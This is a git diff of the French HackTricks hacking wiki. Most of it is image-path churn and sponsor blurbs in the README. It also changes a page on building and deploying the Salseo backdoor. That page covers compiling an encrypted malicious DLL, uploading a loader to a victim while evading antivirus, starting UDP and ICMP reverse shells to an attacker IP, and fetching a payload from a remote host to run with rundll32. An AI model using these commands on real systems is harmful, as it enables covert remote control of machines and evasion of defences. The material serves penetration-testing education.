Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 76 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 237 KiB |
Before Width: | Height: | Size: 237 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 708 KiB |
BIN
.gitbook/assets/image (5) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 18 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 111 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 246 KiB |
Before Width: | Height: | Size: 246 KiB After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 407 KiB |
35
README.md
|
@ -30,20 +30,21 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
||||||
|
|
||||||
### [RootedCON](https://www.rootedcon.com/)
|
### [RootedCON](https://www.rootedcon.com/)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Intigriti](https://www.intigriti.com)
|
### [Intigriti](https://www.intigriti.com)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti** est la plateforme de piratage éthique **n°1 en Europe** et de **bug bounty**.
|
**Intigriti** est la plateforme de piratage éthique **n°1 en Europe** et de **bug bounty**.
|
||||||
|
|
||||||
**Astuce de bug bounty**: **Inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
**Conseil de bug bounty**: **Inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -51,7 +52,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
||||||
|
|
||||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.
|
||||||
|
@ -64,7 +65,7 @@ Accédez dès aujourd'hui:
|
||||||
|
|
||||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes!
|
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes!
|
||||||
|
|
||||||
|
@ -72,7 +73,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||||
|
|
||||||
**Actualités de Piratage en Temps Réel**\
|
**Actualités de Piratage en Temps Réel**\
|
||||||
Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et aux perspectives en temps réel
|
Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et perspectives en temps réel
|
||||||
|
|
||||||
**Dernières Annonces**\
|
**Dernières Annonces**\
|
||||||
Restez informé des derniers lancements de bug bounties et des mises à jour cruciales de la plateforme
|
Restez informé des derniers lancements de bug bounties et des mises à jour cruciales de la plateforme
|
||||||
|
@ -81,19 +82,19 @@ Restez informé des derniers lancements de bug bounties et des mises à jour cru
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/) - La trousse à outils essentielle de test d'intrusion
|
### [Pentest-Tools.com](https://pentest-tools.com/) - La trousse à outils essentielle de test de pénétration
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Effectuez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les testeurs d'intrusion - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -103,11 +104,11 @@ Restez informé des derniers lancements de bug bounties et des mises à jour cru
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en cybersécurité en fournissant des services de **sécurité offensive** avec une **approche moderne**.
|
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en cybersécurité en fournissant des services de **sécurité offensive** avec une approche **moderne**.
|
||||||
|
|
||||||
WebSec est une entreprise de sécurité **tout-en-un**, ce qui signifie qu'ils font tout; Tests d'intrusion, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
WebSec est une **entreprise de sécurité tout-en-un** ce qui signifie qu'ils font tout; Tests de pénétration, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||||
|
|
||||||
Une autre chose cool à propos de WebSec est que contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le pirater, vous ne le payez pas!**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/)!
|
Une autre chose cool à propos de WebSec est que contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site "**Si nous ne pouvons pas le pirater, vous ne le payez pas!**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
En plus de ce qui précède, WebSec est également un **supporter engagé de HackTricks.**
|
En plus de ce qui précède, WebSec est également un **supporter engagé de HackTricks.**
|
||||||
|
|
||||||
|
@ -123,14 +124,14 @@ En plus de ce qui précède, WebSec est également un **supporter engagé de Hac
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en Équipe Rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks:
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -353,6 +353,7 @@
|
||||||
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
|
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
|
||||||
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
|
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
|
||||||
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
|
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
|
||||||
|
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
|
||||||
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
|
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
|
||||||
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
|
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
|
||||||
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
|
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
|
||||||
|
|
|
@ -6,11 +6,11 @@
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@ Compilez ces projets pour l'architecture de la machine Windows où vous allez le
|
||||||
|
|
||||||
Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'onglet **"Build"** à gauche dans **"Platform Target".**
|
Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'onglet **"Build"** à gauche dans **"Platform Target".**
|
||||||
|
|
||||||
(\*\*Si vous ne trouvez pas ces options, appuyez sur **"Project Tab"** puis sur **"\<Nom du projet> Properties"**)
|
(\*\*Si vous ne trouvez pas ces options, cliquez sur **"Project Tab"** puis sur **"\<Nom du projet> Properties"**)
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (132).png>)
|
![](<../.gitbook/assets/image (132).png>)
|
||||||
|
|
||||||
|
@ -44,9 +44,9 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
||||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
```
|
```
|
||||||
Maintenant, vous avez tout ce dont vous avez besoin pour exécuter tout le truc de Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.**
|
Ok, maintenant vous avez tout ce dont vous avez besoin pour exécuter tout le truc Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.**
|
||||||
|
|
||||||
**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un quelconque AV...**
|
**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne doivent pas être détectés par un AV...**
|
||||||
|
|
||||||
## **Exécuter la porte dérobée**
|
## **Exécuter la porte dérobée**
|
||||||
|
|
||||||
|
@ -62,9 +62,9 @@ N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inversé, et un s
|
||||||
```
|
```
|
||||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||||
```
|
```
|
||||||
### **Obtenir un shell inversé ICMP (dll encodée déjà présente sur la victime)**
|
### **Obtenir un shell inverse ICMP (dll encodée déjà présente sur la victime)**
|
||||||
|
|
||||||
**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inversé. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
#### **Désactiver les réponses ICMP :**
|
#### **Désactiver les réponses ICMP :**
|
||||||
```
|
```
|
||||||
|
@ -87,23 +87,23 @@ Ouvrez le projet SalseoLoader à l'aide de Visual Studio.
|
||||||
|
|
||||||
### Ajoutez avant la fonction principale: \[DllExport]
|
### Ajoutez avant la fonction principale: \[DllExport]
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
### Installez DllExport pour ce projet
|
### Installez DllExport pour ce projet
|
||||||
|
|
||||||
#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
|
#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
|
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
Dans le dossier de votre projet sont apparus les fichiers: **DllExport.bat** et **DllExport\_Configure.bat**
|
Dans le dossier de votre projet sont apparus les fichiers: **DllExport.bat** et **DllExport\_Configure.bat**
|
||||||
|
|
||||||
### **Désinstaller DllExport**
|
### **Désinstaller DllExport**
|
||||||
|
|
||||||
Appuyez sur **Désinstaller** (oui, c'est bizarre mais croyez-moi, c'est nécessaire)
|
Appuyez sur **Désinstaller** (oui, c'est bizarre mais faites-moi confiance, c'est nécessaire)
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||||
|
|
||||||
|
@ -113,7 +113,7 @@ Simplement **quittez** Visual Studio
|
||||||
|
|
||||||
Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport\_Configure.bat**
|
Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport\_Configure.bat**
|
||||||
|
|
||||||
Sélectionnez **x64** (si vous allez l'utiliser dans une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace for DllExport**) et appuyez sur **Appliquer**
|
Sélectionnez **x64** (si vous allez l'utiliser dans une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace pour DllExport**) et appuyez sur **Appliquer**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
@ -129,15 +129,15 @@ Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Proprié
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (10) (1).png>)
|
![](<../.gitbook/assets/image (10) (1).png>)
|
||||||
|
|
||||||
Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Générer --> Cible de la plateforme = x64)
|
Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Build --> Cible de la plateforme = x64)
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||||
|
|
||||||
Pour **compiler** la solution: Build --> Build Solution (À l'intérieur de la console de sortie, le chemin de la nouvelle DLL apparaîtra)
|
Pour **compiler** la solution: Build --> Compiler la solution (À l'intérieur de la console de sortie, le chemin du nouveau DLL apparaîtra)
|
||||||
|
|
||||||
### Testez la DLL générée
|
### Testez le Dll généré
|
||||||
|
|
||||||
Copiez et collez la DLL où vous souhaitez la tester.
|
Copiez et collez le Dll où vous souhaitez le tester.
|
||||||
|
|
||||||
Exécutez:
|
Exécutez:
|
||||||
```
|
```
|
||||||
|
@ -160,7 +160,7 @@ rundll32.exe SalseoLoader.dll,main
|
||||||
```
|
```
|
||||||
### CMD
|
### CMD
|
||||||
|
|
||||||
### CMD
|
CMD (Command Prompt) is a command-line interpreter application available in Windows operating systems. It is used to execute commands entered by the user.
|
||||||
```
|
```
|
||||||
set pass=password
|
set pass=password
|
||||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||||
|
@ -171,14 +171,14 @@ rundll32.exe SalseoLoader.dll,main
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
D'autres façons de soutenir HackTricks:
|
D'autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
